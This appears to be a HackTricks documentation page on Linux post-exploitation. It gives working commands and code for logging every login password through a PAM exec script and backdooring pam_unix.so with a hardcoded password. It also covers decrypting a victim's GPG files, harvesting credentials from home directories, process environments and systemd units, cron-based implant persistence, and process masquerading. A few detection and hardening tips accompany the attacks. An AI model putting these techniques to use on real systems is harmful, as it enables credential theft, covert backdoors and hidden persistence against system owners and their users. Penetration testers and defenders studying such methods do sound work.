> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# Linux Post-Exploitation

> Post-exploitation techniques on Linux: credential harvesting, PAM backdoors, GPG decryption, persistence, and process masquerading

## Overview

After gaining initial access to a Linux system, post-exploitation focuses on credential harvesting, establishing persistence, lateral movement preparation, and avoiding detection. This page covers the most effective techniques used in real-world engagements.

<Warning>
  This content is for authorized penetration testing and red team operations only. Always operate within the defined scope of your engagement.
</Warning>

## Sniffing Logon Passwords with PAM

Pluggable Authentication Modules (PAM) handle authentication for nearly all Linux services. A compromised root account can configure PAM to log every password used for login.

### Capturing Credentials via PAM Exec

```bash theme={null}
#!/bin/sh
# toomanysecrets.sh — logs every login attempt
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
```

```bash theme={null}
# Setup steps
sudo touch /var/log/toomanysecrets.log
sudo chmod 770 /var/log/toomanysecrets.log
sudo cp toomanysecrets.sh /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

# Add to /etc/pam.d/common-auth:
# auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
```

### Backdooring pam\_unix.so

Modifying `pam_unix.so` allows authentication with a universal backdoor password while normal authentication continues to work for all other users.

<Steps>
  <Step title="Locate the Authentication Directive">
    Find the line in `/etc/pam.d/common-auth` that calls `pam_unix.so`.
  </Step>

  <Step title="Modify pam_unix_auth.c Source Code">
    Add a conditional that grants access if a hardcoded password is used, otherwise proceeding with normal authentication.
  </Step>

  <Step title="Recompile and Replace">
    Compile the modified `pam_unix.so` and replace it in the appropriate library directory.
  </Step>

  <Step title="Test the Backdoor">
    Verify the backdoor password works across: login, SSH, sudo, su, and screensaver unlock.
  </Step>
</Steps>

<Tip>
  Automate PAM backdooring with: [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
</Tip>

## Decrypting GPG Loot via Homedir Relocation

If you find encrypted `.gpg` files and a user's `~/.gnupg` folder but cannot decrypt due to permission/lock issues:

```bash theme={null}
# 1. Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/

# 2. Fix ownership and permissions for GnuPG
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg

# 3. Decrypt using the relocated homedir
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or equivalently:
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```

<Note>
  Common errors without this technique: "unsafe ownership on homedir", "failed to create temporary file", "decryption failed: No secret key". The relocation resolves all three.
</Note>

## High-Value Credential Artifacts in HOME

Beyond shell history and SSH keys, these files frequently expose reusable credentials and tokens:

```bash theme={null}
# Cloud and container credentials
~/.aws/credentials
~/.kube/config
~/.docker/config.json
~/.config/containers/auth.json

# Package manager credentials
~/.git-credentials
~/.netrc
~/.npmrc
~/.pypirc

# Desktop keyring stores
~/.local/share/keyrings/
~/.kde/share/apps/kwallet/

# Database CLI history (often contains credentials)
~/.mysql_history
~/.psql_history
~/.sqlite_history
```

Quick triage:

```bash theme={null}
ls -la ~ | grep -iE 'history|credential|token|key|secret'
ls -la ~/.ssh ~/.gnupg ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null

grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
   ~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
```

## Harvesting Credentials from Process Environment

When you gain code execution inside a service, the process often inherits sensitive environment variables:

```bash theme={null}
# Dump current process environment
env
printenv

# Dump another process's environment
tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'

# In containers, check PID 1 (the service process)
tr '\0' '\n' </proc/1/environ
```

**What to look for:**

* App secrets: `GF_SECURITY_ADMIN_USER`, `GF_SECURITY_ADMIN_PASSWORD` (Grafana)
* API keys, DB URIs, SMTP credentials, OAuth secrets
* Proxy/TLS overrides: `http_proxy`, `https_proxy`, `SSL_CERT_FILE`

<Tip>
  Many orchestration platforms pass all sensitive settings via environment variables. These are inherited by child processes and visible in any shell spawned within that process context.
</Tip>

## Systemd Unit File Credential Extraction

Services launched by systemd may embed credentials as `Environment=` entries in unit files:

```bash theme={null}
# List unit files
ls -la /etc/systemd/system /lib/systemd/system

# Extract Environment= entries
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null
```

Example vulnerable unit file:

```ini theme={null}
[Service]
Environment="BASIC_AUTH_USER=root"
Environment="BASIC_AUTH_PWD=S3cr3tP@ss!"
ExecStart=/usr/bin/crontab-ui
User=root
```

**Hardening:** Move secrets to `systemd-ask-password`, use root-only `EnvironmentFile`, or use external secret managers.

## Cron-Based Persistence with Loopback Mutex

A resilient persistence pattern used by sophisticated implants:

```bash theme={null}
# Install implant in multiple writable locations
cp implant /tmp/.implant
cp implant /var/tmp/.implant
cp implant /dev/shm/.implant
cp implant /run/lock/.implant

# Cron for respawn every 5 minutes
*/5 * * * * /tmp/.implant 2>/dev/null &

# Single-instance guard (bind loopback port as mutex)
# If bind() fails, another instance is running → exit
# ss -lntp | grep -E '51125|52225' reveals the mutex listener
```

## Process Masquerading via prctl + argv Overwrite

Advanced implants hide by impersonating legitimate process names:

```c theme={null}
// Set short process name (15-byte limit on comm)
prctl(PR_SET_NAME, "init");

// Overwrite argv[0] buffer in memory so /proc/<pid>/cmdline shows fake name
// Read /proc/self/cmdline to find argv[0] pointer, overwrite with NULs
```

**Detection:** Compare `Name:` in `/proc/<pid>/status` against the real executable path. Look for loopback mutex listeners owned by processes with tiny/blank cmdlines.

## Quick Credential Discovery After Root

```bash theme={null}
# Search all home directories for interesting credential files
find /home /root -maxdepth 4 \( \
  -name "*.key" -o -name "*.pem" -o -name "*.ppk" -o \
  -name "*password*" -o -name "*credential*" -o \
  -name "id_rsa" -o -name "id_ed25519" \
  \) 2>/dev/null

# Search web application configs
find /var/www /opt /srv -maxdepth 5 -name "*.conf" -o -name "*.env" -o \
  -name "wp-config.php" -o -name "config.php" 2>/dev/null | \
  xargs grep -lE "password|passwd|secret|key" 2>/dev/null

# Database credential locations
find / -maxdepth 6 -name "*.cnf" -o -name "my.cnf" -o -name ".pgpass" 2>/dev/null
```

## References

* [PAM SSH Password Grabbing — embracethered.com](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)
* [Creating a PAM Backdoor in 5 Lines — InfoSecWriteups](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)
* [GnuPG Manual — Home Directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html)
* [linux-pam-backdoor tool](https://github.com/zephrax/linux-pam-backdoor)
